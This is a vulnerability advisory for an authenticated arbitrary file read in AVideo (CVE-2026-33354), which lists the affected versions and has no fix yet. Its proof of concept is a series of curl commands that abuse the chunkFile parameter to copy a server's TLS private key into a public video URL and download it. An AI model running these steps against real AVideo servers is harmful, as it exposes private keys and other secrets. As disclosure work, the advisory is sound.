CVE-2026-33354: AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`
Summary POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath().
Published Mar 19, 2026 · Updated Mar 25, 2026
Affected packages
wwbn/avideo
- Ecosystem
- Composer (PHP)
- Affected
- <= 26.0
- Fixed in
- No patched version yet
- Check
composer show wwbn/avideo
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.
For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.
I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videos_id=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.
Affected Versions / Commit
Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.
Preconditions
- Authenticated account with upload permission.
- Attacker owns at least one editable video record.
- Target local file is readable by the web application user.
Steps to Reproduce
- Log in as an upload-capable low-privileged user.
- Create any attacker-owned video via the normal upload endpoint to obtain
videos_idandfilename. - Send a POST request to
aVideoEncoder.json.phpwith the attacker's ownvideos_id, an allowedformat, and a server-localchunkFilepath. - Download the resulting media object from
/videos/<filename>/<filename>.mp4.
Proof of Concept
The included poc.py automates the exploit against the local instance.
Manual reproduction:
# 1. Login as low-priv uploader
curl -s -c attacker.cookies \
-d 'user=attacker&pass=UserPass123!' \
http://127.0.0.1/objects/login.json.php >/dev/null
# 2. Create an attacker-owned video
printf 'x' > poc.mp4
curl -s -b attacker.cookies \
-F '[email protected];type=video/mp4' \
http://127.0.0.1/view/mini-upload-form/upload.php
# Example response:
# {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...}
# 3. Copy a local file into the attacker's public video path
curl -s -b attacker.cookies \
-d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
http://127.0.0.1/objects/aVideoEncoder.json.php
# 4. Retrieve the copied file over HTTP
curl -s \
http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | headObserved Result
The final GET returned the contents of the local TLS private key:
-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...Credited to gr00ve3.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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